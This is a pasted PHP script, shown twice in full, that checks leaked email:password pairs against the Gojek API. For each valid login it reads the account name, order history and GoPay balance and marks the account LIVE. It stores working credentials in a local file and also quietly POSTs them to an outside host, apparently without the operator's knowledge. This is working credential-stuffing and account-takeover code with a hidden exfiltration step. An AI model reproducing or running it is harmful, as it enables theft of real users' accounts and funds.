SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | /* | |
| 3 | 1: NOTICE | |
| 4 | -1: UNCHECK | |
| 5 | 2: DIE | |
| 6 | 3: BAD/SOCKS DIE | |
| 7 | 0: LIVE | |
| 8 | */ | |
| 9 | date_default_timezone_set("Asia/Jakarta");
| |
| 10 | // function | |
| 11 | require_once 'includes/class_curl.php'; | |
| 12 | ||
| 13 | // info data | |
| 14 | $empass = $_REQUEST['mailpass']; | |
| 15 | if (!isset($empass)) {
| |
| 16 | header('location: ./');
| |
| 17 | exit; | |
| 18 | } | |
| 19 | $delim = $_REQUEST['delim']; | |
| 20 | //$timeout = 10; | |
| 21 | list($email,$pwd) = explode($delim, $empass); | |
| 22 | $result = array(); | |
| 23 | ||
| 24 | // info curl | |
| 25 | $cookie = "cookies/".md5($email.'|'.$pwd)."_gojek.txt"; | |
| 26 | /* $curl = new curl(); | |
| 27 | $curl->cookies($cookie); | |
| 28 | if ($sock) $curl->socks($sock); | |
| 29 | $curl->ssl(0,2); */ | |
| 30 | ||
| 31 | $page = curl("https://api.gojek.co.id/gojek/oauth/token?client_id=consumer-trusted-client&grant_type=password&username={$email}&password={$pwd}","",$cookie);
| |
| 32 | if (in_string($page,"Email and password don't match")) {
| |
| 33 | $result["error"] = 2; | |
| 34 | $result["msg"] = '<b style="color:red">DIE</b> <font color=black><b>| '.$email.' | '.$pwd; | |
| 35 | } else if (in_string($page,"access_token")) {
| |
| 36 | $token = fetch_value($page,'"access_token":"','"'); | |
| 37 | $refresh_token = fetch_value($page,'"refresh_token":"','"'); | |
| 38 | $activitySource = fetch_value($page,'"expires_in":',','); | |
| 39 | // nama & customerId | |
| 40 | $page = curl("https://api.gojek.co.id/gojek/customer/login","userName={$email}&password={$pwd}&deviceToken={$refresh_token}&activitySource={$activitySource}",$cookie);
| |
| 41 | $info["name"] = 'Name: '.fetch_value($page,'"name":"','"'); | |
| 42 | $customerId = fetch_value($page,'"customerId":',','); | |
| 43 | // order | |
| 44 | $page = curl("https://api.gojek.co.id/gojek/booking/history/".$customerId,"",$cookie);
| |
| 45 | preg_match_all("/\"orderNo\":\"(.*?)\",\"serviceType/i",$page,$order);
| |
| 46 | $info["total_order"] = (count($order[1]) == 0) ? 'No Order' : 'Total Order: '.count($order[1]); | |
| 47 | // GoPay | |
| 48 | $page = curl("https://api.gojek.co.id/gojek/v2/customer/currentBalance/{$customerId}?access_token={$token}");
| |
| 49 | $saldo = 'Saldo: Rp.'.str_replace('.00','',fetch_value($page,'"currentBalance":',','));
| |
| 50 | $result["error"] = 0; | |
| 51 | $live = '<b style="color:green">LIVE</b> | <font color=black><b>'.$email.' | '.$pwd.' | '.implode(" | ",$info).' | <span style="color:red">'.$saldo.'</span> <font color=black><b> | Checked at '.date("d/m/Y g:i A").' #iCode';
| |
| 52 | $liv = '<b style="color:green">LIVE</b> | <font color=black><b>'.$email.' | '.$pwd.' | '.implode(" | ",$info).' | <span style="color:red">'.$saldo.'</span> <font color=black><b> | Checked at '.date("d/m/Y g:i A").' #iCode<br>';
| |
| 53 | $result["msg"] = $live; | |
| 54 | $MYFILE = "ppk.php"; | |
| 55 | $FH = fopen($MYFILE, 'a+') or die("can't open file");
| |
| 56 | fwrite($FH, $liv); | |
| 57 | fclose($FH); | |
| 58 | $m ="DATA : (".$liv.")\n";
| |
| 59 | $a['name'] = "".$m.""; | |
| 60 | $a['age'] = "2016"; | |
| 61 | $b = http_build_query($a); | |
| 62 | $c = curl_init("http://mpourmathieu.com/validdata.php");
| |
| 63 | curl_setopt($c, CURLOPT_POST, TRUE); | |
| 64 | curl_setopt($c, CURLOPT_POSTFIELDS, $b); | |
| 65 | curl_setopt($c, CURLOPT_RETURNTRANSFER, TRUE); | |
| 66 | curl_exec($c); | |
| 67 | curl_close($c); | |
| 68 | } else {
| |
| 69 | $result["error"] = -1; | |
| 70 | $result["msg"] = '<b style="color:gold">UNCHECK</b> <font color=black><b>| '.$email.' | '.$pwd; | |
| 71 | } | |
| 72 | ||
| 73 | echo json_encode($result); | |
| 74 | @unlink($cookie); | |
| 75 | ||
| 76 | //$curl->close(); // tutup curl | |
| 77 | ?><?php | |
| 78 | /* | |
| 79 | 1: NOTICE | |
| 80 | -1: UNCHECK | |
| 81 | 2: DIE | |
| 82 | 3: BAD/SOCKS DIE | |
| 83 | 0: LIVE | |
| 84 | */ | |
| 85 | date_default_timezone_set("Asia/Jakarta");
| |
| 86 | // function | |
| 87 | require_once 'includes/class_curl.php'; | |
| 88 | ||
| 89 | // info data | |
| 90 | $empass = $_REQUEST['mailpass']; | |
| 91 | if (!isset($empass)) {
| |
| 92 | header('location: ./');
| |
| 93 | exit; | |
| 94 | } | |
| 95 | $delim = $_REQUEST['delim']; | |
| 96 | //$timeout = 10; | |
| 97 | list($email,$pwd) = explode($delim, $empass); | |
| 98 | $result = array(); | |
| 99 | ||
| 100 | // info curl | |
| 101 | $cookie = "cookies/".md5($email.'|'.$pwd)."_gojek.txt"; | |
| 102 | /* $curl = new curl(); | |
| 103 | $curl->cookies($cookie); | |
| 104 | if ($sock) $curl->socks($sock); | |
| 105 | $curl->ssl(0,2); */ | |
| 106 | ||
| 107 | $page = curl("https://api.gojek.co.id/gojek/oauth/token?client_id=consumer-trusted-client&grant_type=password&username={$email}&password={$pwd}","",$cookie);
| |
| 108 | if (in_string($page,"Email and password don't match")) {
| |
| 109 | $result["error"] = 2; | |
| 110 | $result["msg"] = '<b style="color:red">DIE</b> <font color=black><b>| '.$email.' | '.$pwd; | |
| 111 | } else if (in_string($page,"access_token")) {
| |
| 112 | $token = fetch_value($page,'"access_token":"','"'); | |
| 113 | $refresh_token = fetch_value($page,'"refresh_token":"','"'); | |
| 114 | $activitySource = fetch_value($page,'"expires_in":',','); | |
| 115 | // nama & customerId | |
| 116 | $page = curl("https://api.gojek.co.id/gojek/customer/login","userName={$email}&password={$pwd}&deviceToken={$refresh_token}&activitySource={$activitySource}",$cookie);
| |
| 117 | $info["name"] = 'Name: '.fetch_value($page,'"name":"','"'); | |
| 118 | $customerId = fetch_value($page,'"customerId":',','); | |
| 119 | // order | |
| 120 | $page = curl("https://api.gojek.co.id/gojek/booking/history/".$customerId,"",$cookie);
| |
| 121 | preg_match_all("/\"orderNo\":\"(.*?)\",\"serviceType/i",$page,$order);
| |
| 122 | $info["total_order"] = (count($order[1]) == 0) ? 'No Order' : 'Total Order: '.count($order[1]); | |
| 123 | // GoPay | |
| 124 | $page = curl("https://api.gojek.co.id/gojek/v2/customer/currentBalance/{$customerId}?access_token={$token}");
| |
| 125 | $saldo = 'Saldo: Rp.'.str_replace('.00','',fetch_value($page,'"currentBalance":',','));
| |
| 126 | $result["error"] = 0; | |
| 127 | $live = '<b style="color:green">LIVE</b> | <font color=black><b>'.$email.' | '.$pwd.' | '.implode(" | ",$info).' | <span style="color:red">'.$saldo.'</span> <font color=black><b> | Checked at '.date("d/m/Y g:i A").' #iCode';
| |
| 128 | $liv = '<b style="color:green">LIVE</b> | <font color=black><b>'.$email.' | '.$pwd.' | '.implode(" | ",$info).' | <span style="color:red">'.$saldo.'</span> <font color=black><b> | Checked at '.date("d/m/Y g:i A").' #iCode<br>';
| |
| 129 | $result["msg"] = $live; | |
| 130 | $MYFILE = "ppk.php"; | |
| 131 | $FH = fopen($MYFILE, 'a+') or die("can't open file");
| |
| 132 | fwrite($FH, $liv); | |
| 133 | fclose($FH); | |
| 134 | $m ="DATA : (".$liv.")\n";
| |
| 135 | $a['name'] = "".$m.""; | |
| 136 | $a['age'] = "2016"; | |
| 137 | $b = http_build_query($a); | |
| 138 | $c = curl_init("http://mpourmathieu.com/validdata.php");
| |
| 139 | curl_setopt($c, CURLOPT_POST, TRUE); | |
| 140 | curl_setopt($c, CURLOPT_POSTFIELDS, $b); | |
| 141 | curl_setopt($c, CURLOPT_RETURNTRANSFER, TRUE); | |
| 142 | curl_exec($c); | |
| 143 | curl_close($c); | |
| 144 | } else {
| |
| 145 | $result["error"] = -1; | |
| 146 | $result["msg"] = '<b style="color:gold">UNCHECK</b> <font color=black><b>| '.$email.' | '.$pwd; | |
| 147 | } | |
| 148 | ||
| 149 | echo json_encode($result); | |
| 150 | @unlink($cookie); | |
| 151 | ||
| 152 | //$curl->close(); // tutup curl | |
| 153 | ?> |